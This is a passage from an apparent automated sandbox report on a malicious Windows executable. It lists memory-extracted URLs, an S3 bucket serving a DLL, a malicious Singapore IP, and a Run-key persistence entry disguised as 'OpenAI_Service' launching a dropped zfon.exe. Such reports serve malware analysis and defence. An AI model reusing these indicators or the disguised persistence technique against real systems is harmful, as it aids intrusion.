0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://www.battle.net/shop/simplecheckout/debug-harness	zfon.exe, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
https://www.battle.net/shop/simplecheckout/loadinghttps://www.battle.net/shop/simplecheckout/navbarh	zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://s3-r-w.ap-east-1.amazonaws.comd	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002977000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anydesk17.s3.ap-east-1.amazonaws.com	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002977000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 0000000B.00000002.2597298593.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2568860335.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/	explorer.exe, 0000000B.00000002.2589830986.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3870691749.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3867808677.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4601406325.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2662236331.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3865469179.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk17.s3.ap-east-1.amazonaws.com/vcruntime140_1.dlld	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/	explorer.exe, 0000000E.00000003.3867808677.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3870691749.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3865469179.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4601406325.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://anydesk17.s3.ap-east-1.amazonaws.comd	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002977000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002964000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.battle.net/shop/simplecheckout/loading	zfon.exe, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	explorer.exe, 0000000B.00000002.2581630998.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2551388655.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2705880886.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2686333787.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4594191362.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669095674.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681020185.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673608765.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681446324.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3867700220.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3871930206.000000000485B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3871870642.000000000484F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669522029.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2660154040.0000000004849000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nydus.battle.net/App/	zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://wns.windows.com/)s	explorer.exe, 0000000B.00000002.2589830986.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.5.239.146	unknown	United States	16509	AMAZON-02US	false
27.50.63.8	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	true
52.95.161.33	unknown	United States	16509	AMAZON-02US	false
3.5.238.183	unknown	United States	16509	AMAZON-02US	false
3.5.237.31	s3-r-w.ap-east-1.amazonaws.com	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577406
Start date and time:	2024-12-18 13:04:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	VJQyKuHEUe.exe renamed because original name is a hash value
Original Sample Name:	7b2d2c13f652b5172c9930aa164163caeda8820935cccd9983d924aa90d294d0.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@23/25@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 62% Number of executed functions: 35 Number of non-executed functions: 338
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, UserOOBEBroker.exe, SIHClient.exe, backgroundTaskHost.exe, SearchApp.exe, WerFault.exe, ShellExperienceHost.exe, WMIADAP.exe, svchost.exe, StartMenuExperienceHost.exe, TextInputHost.exe, mobsync.exe
Excluded IPs from analysis (whitelisted): 204.79.197.203, 23.218.208.109, 13.107.246.63, 20.12.23.50, 2.16.158.91, 20.190.177.82, 2.16.158.50
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, r.bing.com, a-0003.a-msedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, api-msn-com.a-0003.a-msedge.net
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: VJQyKuHEUe.exe

Simulations

Behavior and APIs

Time	Type	Description
07:05:46	API Interceptor	248x Sleep call for process: VJQyKuHEUe.exe modified
07:06:23	API Interceptor	1639x Sleep call for process: explorer.exe modified
07:06:54	API Interceptor	3399455x Sleep call for process: hh.exe modified
13:06:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run OpenAI_Service C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
13:06:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run OpenAI_Service C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
3.5.239.146	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse
	R0SkdJNujW.exe	Get hash	malicious	Unknown	Browse
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse
	drivers.exe	Get hash	malicious	Unknown	Browse
27.50.63.8	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse
	9Kdid5k13f.exe	Get hash	malicious	Unknown	Browse
	9Kdid5k13f.exe	Get hash	malicious	Unknown	Browse
	drivers.exe	Get hash	malicious	Unknown	Browse
	drivers.exe	Get hash	malicious	Unknown	Browse
3.5.238.183	drivers.exe	Get hash	malicious	Unknown	Browse
3.5.237.31	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse
	drivers.exe	Get hash	malicious	Unknown	Browse
	Installer_1.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s3-r-w.ap-east-1.amazonaws.com	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse	3.5.239.146
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	52.95.161.78
	R0SkdJNujW.exe	Get hash	malicious	Unknown	Browse	3.5.239.146
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse	3.5.239.146
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse	52.95.161.78
	drivers.exe	Get hash	malicious	Unknown	Browse	52.95.161.62
	GameBoxMini.exe	Get hash	malicious	Unknown	Browse	3.5.236.11
	drivers.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	https://www.tik0k.com/	Get hash	malicious	Unknown	Browse	3.5.237.170
	http://capitalhillblue.com/	Get hash	malicious	Unknown	Browse	3.5.236.180

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	http://www.mynylgbs.com	Get hash	malicious	Unknown	Browse	100.20.173.79
	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse	52.95.160.78
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	R0SkdJNujW.exe	Get hash	malicious	Unknown	Browse	52.95.161.78
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse	3.5.239.146
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	44.247.24.192
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	18.255.125.151
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse	52.95.161.78
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	13.121.254.215
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	34.242.60.208
AMAZON-02US	http://www.mynylgbs.com	Get hash	malicious	Unknown	Browse	100.20.173.79
	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse	52.95.160.78
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	R0SkdJNujW.exe	Get hash	malicious	Unknown	Browse	52.95.161.78
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse	3.5.239.146
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	44.247.24.192
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	18.255.125.151
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse	52.95.161.78
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	13.121.254.215
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	34.242.60.208
BCPL-SGBGPNETGlobalASNSG	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	9Kdid5k13f.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	9Kdid5k13f.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	drivers.exe	Get hash	malicious	Unknown	Browse	27.50.63.8

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	R0SkdJNujW.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	Hki0FN5Nqr.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	chrome11.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	chrome11.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	Lu4421.exe	Get hash	malicious	Stealerium	Browse	3.5.237.31
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	3.5.237.31
	http://trackmail.info/QLTRG66TP4/offer/00248/811/iuk7x/b4q/41/32	Get hash	malicious	Unknown	Browse	3.5.237.31

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\MSVCP140.dll	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse
	R0SkdJNujW.exe	Get hash	malicious	Unknown	Browse
	drivers.exe	Get hash	malicious	Unknown	Browse
	GameBoxMini.exe	Get hash	malicious	Unknown	Browse
	drivers.exe	Get hash	malicious	Unknown	Browse
	RQoBY766F5.exe	Get hash	malicious	Babuk	Browse
	RQoBY766F5.exe	Get hash	malicious	Babuk	Browse
	https://www.evergabe-online.de/installer/oba-light/oba-light_windows-x64.exe	Get hash	malicious	Unknown	Browse
	RemotePCViewer.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_zfon.exe_4116e554928dad718eac16d219404f2b6f1496_7a7c94a0_a7e79a8f-526e-4442-89cd-3e4c02944af3\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8487509662971519
Encrypted:	false
SSDEEP:	96:n8MGdswhM1y/fhQXIDcQ1c6xPcEScw3AGSMSy+HbHgnoW6He6yoVa0SKLnGS5SgK:8MGdA0794ajgizuiFKZ24lO87
MD5:	D17FBA6ED8C6AF0F51A8A4A8906407E5
SHA1:	D4AFBE75ABDC999398122D145D29384306D75C3A
SHA-256:	558FAA761D6E1B59EFE2D416F89729DB48726492C49636CCDD563AE1CD340B47
SHA-512:	E2CA236644E46E15D0CBE64E0144D04B461279E4F84A2374511631C7029C554E84E8A94A09D94FC6DA33BDB4656E4EB2567F6ED3CC14F845B1553A435A4DA990
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.9.7.1.8.3.5.0.8.8.6.8.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.7.e.7.9.a.8.f.-.5.2.6.e.-.4.4.4.2.-.8.9.c.d.-.3.e.4.c.0.2.9.4.4.a.f.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.b.6.f.0.2.a.9.-.7.e.2.f.-.4.a.9.a.-.a.d.e.9.-.9.c.4.3.c.0.f.0.1.f.a.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.z.f.o.n...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.d.0.-.0.0.0.1.-.0.0.1.4.-.9.b.4.9.-.6.6.3.e.4.5.5.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.4.9.e.e.6.3.5.9.c.0.3.f.2.2.a.c.a.a.5.0.0.9.9.9.8.a.f.4.f.9.7.0.0.0.0.f.f.f.f.!.0.0.0.0.f.5.5.5.c.3.a.9.a.c.9.b.b.d.5.8.5.9.d.1.9.5.8.a.8.4.4.f.c.d.d.5.e.5.1.0.6.3.3.9.!.z.f.o.n...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.7././.0.8././.0.1.:.1.8.:.5.7.:.1.4.!.0.!.z.f.o.n...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_zfon.exe_4116e554928dad718eac16d219404f2b6f1496_7a7c94a0_c84b80a8-56c8-418f-9609-db2a3a9fc957\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8143862519948792
Encrypted:	false
SSDEEP:	96:sGhGdswhM1y/fhQXIDcQyc6lzcE0cw3l0SMSy+HbHgnoW6He6yoVa0SKLnGS5Sgo:LGdA0MZzepTjgIzuiFKZ24lO87
MD5:	F56E0E86C3FA4597CAA2287A711BD2B6
SHA1:	450EA5DDEEC0315A358AC5A42F2CA2DD732DD3DB
SHA-256:	6B40175127C9EDA0C7FAA8470BE014048D9DD8CF900B7C1FFB008C42D283972F
SHA-512:	88719E35FE018AB18FC7DB7A556E1000A51E5C6EEBDA12FEAAA0F6B22C6EDD52C3C1FEC8F4280C3D6E17F4B137566EF0DFECBF89DA900CEC9212F8E844DA158A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.9.7.1.7.9.3.3.8.8.0.9.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.8.4.b.8.0.a.8.-.5.6.c.8.-.4.1.8.f.-.9.6.0.9.-.d.b.2.a.3.a.9.f.c.9.5.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.3.c.6.e.2.b.3.-.c.f.4.f.-.4.4.f.a.-.8.8.5.c.-.b.5.2.0.7.3.4.d.b.d.c.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.z.f.o.n...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.d.0.-.0.0.0.1.-.0.0.1.4.-.9.b.4.9.-.6.6.3.e.4.5.5.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.4.9.e.e.6.3.5.9.c.0.3.f.2.2.a.c.a.a.5.0.0.9.9.9.8.a.f.4.f.9.7.0.0.0.0.f.f.f.f.!.0.0.0.0.f.5.5.5.c.3.a.9.a.c.9.b.b.d.5.8.5.9.d.1.9.5.8.a.8.4.4.f.c.d.d.5.e.5.1.0.6.3.3.9.!.z.f.o.n...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.7././.0.8././.0.1.:.1.8.:.5.7.:.1.4.!.0.!.z.f.o.n...e.x.e.....B.o.o